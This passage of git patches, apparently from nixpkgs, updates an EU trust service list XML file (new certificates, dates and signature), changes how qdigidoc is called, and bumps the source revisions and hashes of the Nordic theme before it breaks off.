GbXYW3oX1enB26XGuArGRCQ1Es8Wp0QkS8SppeVcnTXEOQXJ2y8Oy2JKMcvfxuCiiGHzl9IpSeOBR7KLEe2/Vr84FPlBrRTw6KNHsN8JV+svtXnH28XCx9TuCEo151HfbzPfWM45U7yLbLW6zqgSh1/6sJiUcRh4Ro8ctzkEwDUlbHYDeHm1tSOrsfsbQ56SAt/3gr2vnQLqJ+AtoEg==</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>MIIFEDCCA3igAwIBAgIFFEBkr74wDQYJKoZIhvcNAQELBQAwgYUxCzAJBgNVBAYTAlNLMRMwEQYDVQQHDApCcmF0aXNsYXZhMScwJQYDVQQKDB5Ow6Fyb2Ruw70gYmV6cGXEjW5vc3Ruw70gw7pyYWQxHzAdBgNVBAMMFlRydXN0ZWQgTGlzdCBzaWduZXIgMTExFzAVBgNVBAUTDk5UUlNLLTM2MDYxNzAxMB4XDTI1MDQwMTAwMDAwMFoXDTMzMTIzMTAwMDAwMFowgYUxCzAJBgNVBAYTAlNLMRMwEQYDVQQHDApCcmF0aXNsYXZhMScwJQYDVQQKDB5Ow6Fyb2Ruw70gYmV6cGXEjW5vc3Ruw70gw7pyYWQxHzAdBgNVBAMMFlRydXN0ZWQgTGlzdCBzaWduZXIgMTExFzAVBgNVBAUTDk5UUlNLLTM2MDYxNzAxMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAlarWmFZjmcK5QgO9Yp6ED0N/jVynXIL5b+yrUD9Ce2JMeLvD+BkLNOZElOhmB0Hbu2NVVi03qItvpDSHO65YCvWg3uYuBQF+eaJzrus0O2ugqD7M2QWsJSf1Tq9oJYH76KXZx4oK4ee8WbTR3WUcmgucUEJN/DipVHELGJkw3pnE74SyiHqp4DgBM8sohlFE2DjSTXx2RU+/3C96rZZiy6958YBWbCwbkICYqDeYxrb5Vq2uCpXg7jZN35VUroIxTi7gNJuJ9J9AqWdzW0Ya9hPG9Sq331X8Ik3999S893TgRp6m+6CLkdtNXpb38Iw2gqD4PUu2EqRkAAs1gdgzmtOAposSWdw+eqprzHaTkydLGO9K48MHx6sup+mvqbCIPhvAmFHNhJqDSkl/1nEzHo9+0EmoeI2relHsMXSRYGDRB+GvkTg9AvCLFKyrdlGwWC+C41Hb75Wxu+jaTr6m+YaiEr3Ugah+KjIEtQcBV5eBKDXUE9Ixy3KbsGrXaWIRAgMBAAGjgYQwgYEwHQYDVR0OBBYEFDfQBjSuiF+/zrSVcnULj+/f6jZeMAkGA1UdEwQCMAAwDgYDVR0PAQH/BAQDAgbAMBEGA1UdIAQKMAgwBgYEVR0gADAfBgNVHREEGDAWgRRwb2RhdGVsbmFAbmJ1Lmdvdi5zazARBgNVHSUECjAIBgYEAJE3AwAwDQYJKoZIhvcNAQELBQADggGBACUI1IW6Hk8THL64SN1ZDq4wdxvghFhsVSW6esMr1DG1Fqd4JVIVqlVZhEz8r/hvxcYoabw0KvaFf3AZr74B4tinPUM+fnOAX8PHDO9beWSVvQe1Z9VsAVOPNimPggrLSufIdADkdpU6E44Zy5Xo9iBz31vGVPG3Igii9TPAcmaBGRuuPxN9ChxURC9TfAK3nL+WL+rKbP20rktKhrpRsqIbYdRS0LVyeyMBmr87bZY4OOTxW+wayjHVApTSURwFvJ7+WbhIrKRB5GUtdlcx3Bs0Tj9oICB3tOVCKCXtA9EgGjsEOFUTk1careWFaoGrS81h0X3nbZw3UTk+P1HKwmOzvqgOJ7P5YAzRzl0ozegxH66IP+fCBr15rnBclhbD+Meq45Bk8Q/q03f2AWEdbE5g15N/M9i3eGmsyLoMoDgPTSzE1n4IlJVh45f3GLAcAF9XOZMPZAUlbV/Zamsf/kBYqRUAmpwZIsFh3yBnY20yyUI05PajsX6vKfGqkcpoQQ==</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
                 <TSLLocation>http://tl.nbu.gov.sk/kca/tsl/tsl.xml</TSLLocation>
                 <AdditionalInformation>
@@ -2117,8 +2063,7 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                     </OtherInformation>
                     <OtherInformation>
                         <SchemeOperatorName>
-                            <Name xml:lang="en">NATIONAL SECURITY AUTHORITY</Name>
-                            <Name xml:lang="sk">NÁRODNÝ BEZPEČNOSTNÝ ÚRAD</Name>
+                            <Name xml:lang="en">National Security Authority</Name>
                             <Name xml:lang="sk">Národný bezpečnostný úrad</Name>
                         </SchemeOperatorName>
                     </OtherInformation>
@@ -2193,12 +2138,12 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                 </AdditionalInformation>
             </OtherTSLPointer>
         </PointersToOtherTSL>
-        <ListIssueDateTime>2025-03-25T08:15:38Z</ListIssueDateTime>
+        <ListIssueDateTime>2025-07-15T11:30:15Z</ListIssueDateTime>
         <NextUpdate>
-            <dateTime>2025-09-16T22:00:38Z</dateTime>
+            <dateTime>2026-01-13T12:30:15Z</dateTime>
         </NextUpdate>
         <DistributionPoints>
             <URI>https://ec.europa.eu/tools/lotl/eu-lotl.xml</URI>
         </DistributionPoints>
     </SchemeInformation>
-<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="id-494f6ed7f094453f309c5d56abbd5783"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/><ds:Reference Id="ref-enveloped-signature" URI=""><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/><ds:DigestValue>/3XJfW9DQhgsLMxFD60WuvnzZUjVgyesSjnEBk8rOy+VfoIDE3buk0Szpfn8rL8vyrcqOramGFOuwpNubzIv/A==</ds:DigestValue></ds:Reference><ds:Reference Type="http://uri.etsi.org/01903#SignedProperties" URI="#xades-id-494f6ed7f094453f309c5d56abbd5783"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/><ds:DigestValue>VEONv58dRfmZ4NRVX6NM0quYNyTkTjO2TzMbf/dpMRfrcza4x9gQsndC8+T2xBfQl54dsBGjDjWScyvWth0T8Q==</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue Id="value-id-494f6ed7f094453f309c5d56abbd5783">g1ULuPnX8JYLUDbjWDU/ov0nC9MKPDGPpXpwtGe0cb+1GIz9Zvz9g/g0qiOX8KYW6vCnpbuf9BrQQX0td/b8HVXhAykpKIeo8NN9ZgTTM5Lp6q7kJ45+1Ge/y47WouWZ9/OuMufLlVRksk4b0zSZGPzGzomz2kBu/VJePJ9c/x+odsWO50berakM7CRHRBwcvKXKuUKTbNoeLTAjhYOnjJtYitl1mJDQnGf9C6RjMP2CzErR5VT6OPS1OAhO+4yK/DJyItBd8feizhzvTf2Y6yml5+hAktKLmKUt4WsnugeYrn2/GFcWCGYnwsQ319a+k/T2TNBdpudnUV1dNiGNDRI0ji1Q9DiTU2Ya8q9Kp2W+ZA8CqdjIlrN+X1vPp3QUbgsZLfvsRoUgb7xl3oPzzCLvu3IZTFEzLbyFlMCN2zcs3qEeD7Q5lGoCFrWftGn8AsamKK32iai2+NJJpsDIMrHgnnagapuwHdT8iSHmkOZHz1OiDb83nYwWq+zRv/n0ni5NTr3+jaqn2LWKRyEItr6vBNCpuQPFoNEHZg0CYBWEK6GSbWByg0dnaIxWn2lkTjRFoaveEvHxhl3zSlyHZ3X2FilHEbIyE1keu/0WLfz5be8v7i/ATrbkcq0t7FC9rVetH/eUoV13FMMc2HcpSTFSVwBY3uP+HtybXYSn3zc=</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>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</ds:X509Certificate></ds:X509Data></ds:KeyInfo><ds:Object><xades:QualifyingProperties xmlns:xades="http://uri.etsi.org/01903/v1.3.2#" Target="#id-494f6ed7f094453f309c5d56abbd5783"><xades:SignedProperties Id="xades-id-494f6ed7f094453f309c5d56abbd5783"><xades:SignedSignatureProperties><xades:SigningTime>2025-03-25T18:29:09Z</xades:SigningTime><xades:SigningCertificate><xades:Cert><xades:CertDigest><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/><ds:DigestValue>MChItQCvaWcTKbZ1lIIXL2BVbmm0YgKgZVrgIx0FFUhNIdTlv6RylET5voFVvbYBiGh3nUr2rsAQouSJzYkTaQ==</ds:DigestValue></xades:CertDigest><xades:IssuerSerial><ds:X509IssuerName>CN=DIGITALSIGN QUALIFIED CA G1,O=DigitalSign Certificadora Digital,C=PT</ds:X509IssuerName><ds:X509SerialNumber>660862747298009142807362633871991440505734410485</ds:X509SerialNumber></xades:IssuerSerial></xades:Cert></xades:SigningCertificate></xades:SignedSignatureProperties><xades:SignedDataObjectProperties><xades:DataObjectFormat ObjectReference="#ref-enveloped-signature"><xades:MimeType>text/xml</xades:MimeType></xades:DataObjectFormat></xades:SignedDataObjectProperties></xades:SignedProperties></xades:QualifyingProperties></ds:Object></ds:Signature></TrustServiceStatusList>
\ No newline at end of file
+<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="id-cb9511c1a395eb511caea13889680eef"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/><ds:Reference Id="ref-enveloped-signature" URI=""><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/><ds:DigestValue>Ds++/hry0qiUKIzJRZTM8YgAO8O9kpBeDuPr0N09Teaks1886kDPzfb3SswfcZ3MB4pC7CeYlpd0tLwe3xP7eA==</ds:DigestValue></ds:Reference><ds:Reference Type="http://uri.etsi.org/01903#SignedProperties" URI="#xades-id-cb9511c1a395eb511caea13889680eef"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/><ds:DigestValue>iVirXgZPl72aTBE/D8pmlvDtu25juWdyumfsMvbhQO5ymxPvvBuYvNb3iUuMm5P6WYtTbkpUb6tQbBfU86XWug==</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue Id="value-id-cb9511c1a395eb511caea13889680eef">LUGYiIOVAq8tuYbvx6t27SuA5aXTBJFkJd7KNF3uCru6TVGU3nRgSzpdW6Gw7hvkL2/ksfdFkaA4Y8js9S6xwICy1Gj7NdwhB/tP09SKhoiL7eu1m+7uhtdw6pTQ5W4lL5bEx/HiyGTYDMN7fQn5/Z2EAiD00sDJxwh9lIAUpsctAqtmu1MfG+HKL4Z1HaR3Ts+ZaVnmC6VoLZoj9/Cr4p/C9/6SZau/stYN0zHQk4X5DJFf16hxhwj9c1MaoKMCGXIS3OtArQJyP2YvMrIFcxtZuV83Nmt6fVfjSulsYPFCmAtsobngURwJAS7y0G3pV/q7Oo6owsXCrjlLP5ziWifL/6ltul3gnoBc/zKw7b6MPBhnYCMQQOL7AXVFUooJ9rbSS2zR7uHunOhQQgvxOQJ916YDU1bNV9QPbTgjVb9EEBKJvV6vLv0CLUEeVda0zWYNiZVxXFZ0nlO3wsliBx8bNR4oackACWCqUMIWuGtOAGJ6exMgcGJYgSW/mP7YNr2dC06Iv1zHaNwEljOaEVGsCfweuahOBOwR02C/mwFusch7c5+KcVBPyEx6ue9XunV5398by+afDc/hkIIt853c1XRpdgA6B+yM0ebpMSmvavbY/siPI9+i7NAaxlbTVbj+B/aFjFnJPPwIC/h+KoeaRWDNSfZ6a3jcVbDg/NE=</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIIoDCCBoigAwIBAgIUc8IcSUtVEKAMMvHm9QWU05kXsPUwDQYJKoZIhvcNAQENBQAwXzELMAkGA1UEBhMCUFQxKjAoBgNVBAoMIURpZ2l0YWxTaWduIENlcnRpZmljYWRvcmEgRGlnaXRhbDEkMCIGA1UEAwwbRElHSVRBTFNJR04gUVVBTElGSUVEIENBIEcxMB4XDTIzMTExNzEwMTE0NloXDTI3MTExNzEwMTE0NlowggEVMQswCQYDVQQGEwJMVTFDMEEGA1UECww6Q2VydGlmaWNhdGUgUHJvZmlsZSAtIFF1YWxpZmllZCBDZXJ0aWZpY2F0ZSAtIE9yZ2FuaXphdGlvbjE5MDcGA1UECwwwRGlyZWN0b3JhdGUtR2VuZXJhbCBmb3IgRGlnaXRhbCBTZXJ2aWNlcyAoRElHSVQpMSMwIQYDVQRhDBpMRUlYRy0yNTQ5MDBaTllBMUZMVVE5VTM5MzEcMBoGA1UECgwTRVVST1BFQU4gQ09NTUlTU0lPTjElMCMGCSqGSIb3DQEJARYWZGlnaXQtZG1vQGVjLmV1cm9wYS5ldTEcMBoGA1UEAwwTRVVST1BFQU4gQ09NTUlTU0lPTjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKWYeBA9kYARElGnHoJRNpbby44G+TSJcgHI9QtyXlYjB234hSAYyJvW+gKvoownskrogfUP6GOmQgEFZX335Y0sBwfppVemEoe9H9Aj/cpT14IqdB05V4a88ASRfR0Va1xmQJrDsBZWqZHx0EEHBctIF5BjyTMAcQybha+4AOIotp3dF/7ZA3Cu4GYbN9BuQyyqfqrjMduDzzDjVwKC17aEsLev60C1FnIJ/FVEda3lJSGilD5JyUceTaRcot1rw6gjKrOVhwP/UHfevJ3JCsQsuAzkf7ivzHzYuPPPR9Ussecwr7O95Fr4wbPYIyX2AOTlieAC7GMVXHN1/+4LH74ndvoJYEScXwmN9Skib3+G6TquOCQxvNXzHPZb95btCoSnVprCn14O3CXUTZMEKkhPuKW8dI6pR2JSGbtT+xBkcc1wYVlUnzE3d+YK5SSevUT2COwJM+AcjSoUaRTBINsD/ezDDvv7vtbF1XccaJjoCNkurzayTsMszGDvAF171LY69lNY6yK0uzrS+3c/hEHctXa5KIC3PpWrBGQ5mw73KerRvnAhzDZemVquPk1D59aJNfHoHXmy1bS52rHWYOwHH+2qbODdh8GkHwHXBzSpFit1Kg2brpavhztNaGlj6GsLFAbr8okCUJllOOLQ8Tfy9Vnn5Rq0+7VTdd8dAxg9AgMBAAGjggKaMIICljAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFHNJ8UAcFAR8mhJ/+i/NXGcjGOkUMIGGBggrBgEFBQcBAQR6MHgwRgYIKwYBBQUHMAKGOmh0dHBzOi8vcWNhLWcxLmRpZ2l0YWxzaWduLnB0L0RJR0lUQUxTSUdOUVVBTElGSUVEQ0FHMS5wN2IwLgYIKwYBBQUHMAGGImh0dHBzOi8vcWNhLWcxLmRpZ2l0YWxzaWduLnB0L29jc3AwIQYDVR0RBBowGIEWZGlnaXQtZG1vQGVjLmV1cm9wYS5ldTBfBgNVHSAEWDBWMDcGCysGAQQBgcd8BAEBMCgwJgYIKwYBBQUHAgEWGmh0dHBzOi8vcGtpLmRpZ2l0YWxzaWduLnB0MBAGDisGAQQBgcd8BAIBAQEGMAkGBwQAi+xAAQMwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMEMIG8BggrBgEFBQcBAwSBrzCBrDAVBggrBgEFBQcLAjAJBgcEAIvsSQECMAgGBgQAjkYBATAIBgYEAI5GAQQwEwYGBACORgEGMAkGBwQAjkYBBgIwagYGBACORgEFMGAwLhYoaHR0cHM6Ly9xY2EtZzEuZGlnaXRhbHNpZ24ucHQvUERTX2VuLnBkZhMCZW4wLhYoaHR0cHM6Ly9xY2EtZzEuZGlnaXRhbHNpZ24ucHQvUERTX3B0LnBkZhMCcHQwSwYDVR0fBEQwQjBAoD6gPIY6aHR0cHM6Ly9xY2EtZzEuZGlnaXRhbHNpZ24ucHQvRElHSVRBTFNJR05RVUFMSUZJRURDQUcxLmNybDAdBgNVHQ4EFgQUlO5hwcl9/63issm59r+TIHeJSZwwDgYDVR0PAQH/BAQDAgZAMA0GCSqGSIb3DQEBDQUAA4ICAQCn8qjJhTe3SsD7cB8S8kDzt+CBnJJm7bOFc9t9IU6iKntVtjPU4T+cYiPk8TnT+/w7dBphRzjZCL1sDfSJGQ5JPBw+hBPuvzEqP4xVi5i4Jhg/GpYSaa2+dkFXlKe6Sd+ii/RnwBSnfqVfNZtasj7yX+oujGau5LSUPIkQxDrMie8KjsNtlkFjQDoioGAx8b0u6WyhAuqwEacCznft20Dim3sC7XJw8GHumrnW52rUzl4sbXoTBAt8F1zPCbEbjU0oc8SbFNPIChh+9sHUorEmHIlcg30LBHihkDCx4mK8J60Jybk57D4U2RO29VsJfDmnvNxfJZxfLHEJ2tkh+AMqlJXPDlvXQ+rZ1NmLHrbXkcHOlqR3F8BakTi2Mi5AZZfkfjZjkigEStN6Enaq6gwF7EsslqEKmhSQ8XlhxWSRqljK/cnEUw+NhrvR4WuKlvYmxlCLQj6q89Hh121aUGUhL2L2WCVBjVXqux7s4mvECDzrucl5ilaVT32HO3g8qNLGD5lum53U5v/Nv68ItyHH96unztwBebmgox8giVRdzPhmPrpSfbmeNNDKj1p9SCeOvd3P9jCUvChVvH2P2ZUjc24tWe+tzclsCJi7GbKr6kjHc1jFudjehflAbm1IZAYdDNrhXamnsRVsz7iSH20eygCArlwSQ//WIQZPFrRffg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo><ds:Object><xades:QualifyingProperties xmlns:xades="http://uri.etsi.org/01903/v1.3.2#" Target="#id-cb9511c1a395eb511caea13889680eef"><xades:SignedProperties Id="xades-id-cb9511c1a395eb511caea13889680eef"><xades:SignedSignatureProperties><xades:SigningTime>2025-07-15T15:42:59Z</xades:SigningTime><xades:SigningCertificate><xades:Cert><xades:CertDigest><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/><ds:DigestValue>MChItQCvaWcTKbZ1lIIXL2BVbmm0YgKgZVrgIx0FFUhNIdTlv6RylET5voFVvbYBiGh3nUr2rsAQouSJzYkTaQ==</ds:DigestValue></xades:CertDigest><xades:IssuerSerial><ds:X509IssuerName>CN=DIGITALSIGN QUALIFIED CA G1,O=DigitalSign Certificadora Digital,C=PT</ds:X509IssuerName><ds:X509SerialNumber>660862747298009142807362633871991440505734410485</ds:X509SerialNumber></xades:IssuerSerial></xades:Cert></xades:SigningCertificate></xades:SignedSignatureProperties><xades:SignedDataObjectProperties><xades:DataObjectFormat ObjectReference="#ref-enveloped-signature"><xades:MimeType>text/xml</xades:MimeType></xades:DataObjectFormat></xades:SignedDataObjectProperties></xades:SignedProperties></xades:QualifyingProperties></ds:Object></ds:Signature></TrustServiceStatusList>
\ No newline at end of file
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 434eb08f7c60..390dc3bf3c8c 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -4281,7 +4281,7 @@ with pkgs;
 
   qlcplus = libsForQt5.callPackage ../applications/misc/qlcplus { };
 
-  qdigidoc = libsForQt5.callPackage ../tools/security/qdigidoc { };
+  qdigidoc = callPackage ../tools/security/qdigidoc { };
 
   qjournalctl = libsForQt5.callPackage ../applications/system/qjournalctl { };
 

From ea5ec312a167d62857f53ad574d92c82c853f229 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Romildo?= <malaquias@gmail.com>
Date: Thu, 15 May 2025 10:58:03 -0300
Subject: [PATCH 3175/4511] nordic: 2.2.0-unstable-2025-03-21 ->
 2.2.0-unstable-2025-05-05

(cherry picked from commit 8ad6adb4c7d46ca71afb48af8841fd207c4c048d)
---
 pkgs/data/themes/nordic/default.nix | 34 ++++++++++++++---------------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/pkgs/data/themes/nordic/default.nix b/pkgs/data/themes/nordic/default.nix
index 58fe0779f17a..acd2651e5609 100644
--- a/pkgs/data/themes/nordic/default.nix
+++ b/pkgs/data/themes/nordic/default.nix
@@ -11,70 +11,70 @@
 
 stdenvNoCC.mkDerivation rec {
   pname = "nordic";
-  version = "2.2.0-unstable-2025-03-21";
+  version = "2.2.0-unstable-2025-05-05";
 
   srcs = [
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = pname;
-      rev = "0b5c46f3454ec8b8f3a8acd41993b92ee44e4a62";
-      hash = "sha256-8BN1d/hsfkNWvdqsVyorRRZlj81/iAqJbONWIzy4iKw=";
+      rev = "d9b5c42cebf9a165bcce7b6b8a019f5cfd5b789c";
+      hash = "sha256-OkXjwaoXyWfTgNkeU+ab+uv+U/5OaJ8oTt/G8YLz84o=";
       name = "Nordic";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = pname;
-      rev = "8713c00c38a9b5fe82199892edff7623033910a0";
-      hash = "sha256-v3jQF2wN55/7CtQu2jYQU11RdPKzdEzoXjDebyLg518=";
+      rev = "361f0d1d23177a1154d415f793ce52a2c09629d4";
+      hash = "sha256-0IBuCMbHxTL3YtIK35g9xiBEs1DZgA4MwMAVPIw3Omk=";
       name = "Nordic-standard-buttons";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = pname;
-      rev = "55f21590db56e9d68d95831cc1e98d9f08dcbf6b";
-      hash = "sha256-tnXeS8VffzUgPTtGbTVEX7IGSoihqeCHtKO5+EuYxaE=";
+      rev = "bf05d41c7c7cd03e391854739bcc843fc6053ced";
+      hash = "sha256-AjVvciUrm/X3U6Pmo52ZrucLRJdsRFPeEMRwSKyjwi4=";
       name = "Nordic-darker";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = pname;
-      rev = "8976bf0bd88b6604c6d88a504ef66537997e1167";
-      hash = "sha256-uz/gPELRABT6PoHSihN3lC25KswaQt7xyVfm3Ux7F5U=";
+      rev = "98cdf88d77fa7f0535ff660148e0ccbabe47a579";
+      hash = "sha256-70l5+renDhniZroPoMrCHsPgT6Pg3cr5w86LjkaWchg=";
       name = "Nordic-darker-standard-buttons";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = pname;
-      rev = "d02b961b754c2b5144dbb5a4ac52fca149b44d5f";
-      hash = "sha256-xncXYKfocuv6AOmG8XX1/ahcERYGRRU8d0b7zJmhz5Q=";
+      rev = "f1e43cf9ba83602f73f71407a8a4ba768122b7f4";
+      hash = "sha256-yLE/M9PXfQv2JD+HTsBHFiFaKuY8vOkZiOlQLLON+HM=";
       name = "Nordic-bluish-accent";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = pname;
-      rev = "40c954e0134ad77113cec4d83e8381a55b735e34";
-      hash = "sha256-qRL/o11bQ2RQgJq9nmrr+HFZKoEhASvxr1R4tra2BwA=";
+      rev = "52a37ebce50f948129507e4804240d9e7788a7a2";
+      hash = "sha256-zwnCaS08vceHjFHn9ET2509Zat7a1gHEG1RDR+xrbhc=";
       name = "Nordic-bluish-accent-standard-buttons";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = "${pname}-polar";
-      rev = "6f32e3708355fbf9ac04342361134a2d45b4ce5d";
-      hash = "sha256-j70j0WqGzzkvNTVrkg0Zz+wVrs3/JdPVO8gliUSXRnc=";
+      rev = "24dc0325c4a38508039f5fee9a5391c1d9d8d5d5";
+      hash = "sha256-Y3PFuIc7UPbRg9NZie4buKCUiMXzl5idg7LSrj/lsos=";
       name = "Nordic-Polar";
     })
 
     (fetchFromGitHub {
       owner = "EliverLara";
       repo = "${pname}-polar";
-      rev = "ca23b9460713e72defae777162175921beae6e27";
